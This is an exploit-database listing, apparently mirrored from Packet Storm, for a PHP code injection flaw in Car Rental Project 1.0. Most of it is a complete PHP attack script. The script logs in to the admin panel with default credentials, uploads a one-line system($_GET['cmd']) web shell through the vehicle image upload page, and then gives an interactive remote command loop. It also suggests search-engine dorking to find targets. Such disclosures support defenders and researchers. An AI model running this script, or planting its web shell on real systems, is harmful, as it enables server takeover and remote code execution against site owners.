Lucene search
K

Car Rental Project 1.0 Code Injection

🗓️ 24 Sep 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 207 Views

Car Rental Project v1.0 php code injection vulnerability. Code is designed to create and inject PHP file

Code
`=============================================================================================================================================  
| # Title : Car Rental Project 1.0 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://phpgurukul.com/car-rental-project-php-mysql-free-download/ |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This PHP code is designed to create a file and inject PHP code.  
  
[+] save payload as poc.php   
  
[+] usage : C:\www\test>php poc.php 127.0.0.1  
  
[+] payload :   
  
<?php  
  
echo "  
+-------------------------------------------------------------+  
Car Rental Project v1.0 - php Code injection  
  
by indoushka  
+-------------------------------------------------------------+  
";  
  
// Function to log in and execute RCE  
function login($rhosts) {  
  
$session = curl_init();  
  
$bigstring = "\n+-------------------------------------------------------------+\n";  
echo "+-------------------------------------------------------------+\n";  
echo "[+] Victim host: " . $rhosts . "\n";  
  
$post_auth_login = "http://" . $rhosts . "/carrentalproject/carrental/admin/index.php";  
$shell_upload_url = "http://" . $rhosts . "/carrentalproject/carrental/admin/changeimage1.php";  
  
// Login / Authentication  
$post_data = [  
'username' => 'admin',  
'password' => 'Test@12345',  
'login' => ''  
];  
  
// Initiating a cURL request for login  
curl_setopt($session, CURLOPT_URL, $post_auth_login);  
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($session, CURLOPT_POST, true);  
curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($post_data));  
curl_setopt($session, CURLOPT_COOKIEFILE, "cookie.txt"); // Store cookies in a file  
  
$login_response = curl_exec($session);  
  
// Get the HTTP response code  
$http_code = curl_getinfo($session, CURLINFO_HTTP_CODE);  
if ($http_code == 200) {  
echo "[+] Login HTTP response code: 200\n";  
echo "[+] Successfully logged in\n";  
} else {  
echo "[!] Failed to authenticate\n";  
exit;  
}  
  
// Proxy settings (optional, for Burp)  
$proxies = [  
"http" => "http://127.0.0.1:8080",  
"https" => "http://127.0.0.1:8080"  
];  
  
// Data for uploading the backdoor  
$backdoor_file = new CURLFile('1dccadfed7bcbb036c56a4afb97e906f.php', 'application/x-php', '<?php system($_GET["cmd"]); ?>');  
  
$upload_data = [  
'img1' => $backdoor_file,  
'update' => ''  
];  
  
// Attempt to upload the PHP shell  
curl_setopt($session, CURLOPT_URL, $shell_upload_url);  
curl_setopt($session, CURLOPT_POST, true);  
curl_setopt($session, CURLOPT_POSTFIELDS, $upload_data);  
  
$upload_response = curl_exec($session);  
  
if ($upload_response) {  
echo "[+] Backdoor upload at /carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php" . $bigstring;  
} else {  
echo "[!] Failed to upload backdoor\n";  
exit;  
}  
  
// Command Execution Loop  
while (true) {  
echo "Command RCE >> ";  
$command = trim(fgets(STDIN));  
  
$shell_location = "http://" . $rhosts . "/carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php?cmd=" . urlencode($command);  
  
// Execute the command  
curl_setopt($session, CURLOPT_URL, $shell_location);  
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);  
$response = curl_exec($session);  
  
echo $response . "\n";  
}  
  
// Close cURL session  
curl_close($session);  
}  
  
if ($argc < 2) {  
echo "Usage: php script.php [target_host]\n";  
exit;  
}  
  
// Call the login function with the provided host  
login($argv[1]);  
  
?>  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation